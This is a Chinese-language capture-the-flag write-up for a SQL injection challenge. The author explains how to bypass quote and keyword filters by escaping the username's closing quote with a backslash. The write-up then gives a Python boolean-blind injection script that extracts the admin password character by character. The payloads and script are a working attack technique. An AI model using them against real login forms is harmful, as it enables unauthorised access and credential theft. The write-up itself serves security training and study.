sqlsqlsqlsqlsql又来喽
过滤了单双引号,等于符号,还有select等,但是这里没有二次注入 。扫描发现hint.txt
看出题人的意思是,得到密码即可获得flag。
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
不能用引号闭合。所以可以使用转义符"\"。
设计
username=admin\
password=||True#
结果
select * from users where username='admin\' and password='||True#';
现在的username=admin\' and password=
这样就变成了合法的异或查询,此查询结果为真,页面返回关键字
BJD needs to be stronger
若返回为假,则关键字为
You konw ,P3rh4ps needs a girl friend
从提示例我们还可以得知列名是password,表名是users。
明白了原理,脚本就好写了。因为 "=" "like"都被过滤了,这里使用>。
这里我写上自己脚本
import requests
flag=''
url='http://d20acdc1-326d-4834-9339-ba1a7f747356.node5.buuoj.cn:81/index.php'
for i in range(1,200):
for num in range(128,40,-1):
data = {"username":"admin\\","password":"||ascii(substr(database(),{},1))>{}#".format(str(i),str(num))}
data1 = {"username": "admin\\", "password": "||ASCII(SUBSTR(password,{},1))>{}#".format(str(i), str(num))}
#print(data)
content=requests.post(url=url,data=data1)
#print(content.text)
if "stronger" in content.text:
num1=num+1
print(chr(num1),end='')
break
至于这种写法ASCII(SUBSTR(password,1,1)),我还是第一次见,为什么可以直接写password列名
最后用admin(把password换成username就可以爆出了)和密码登录就行了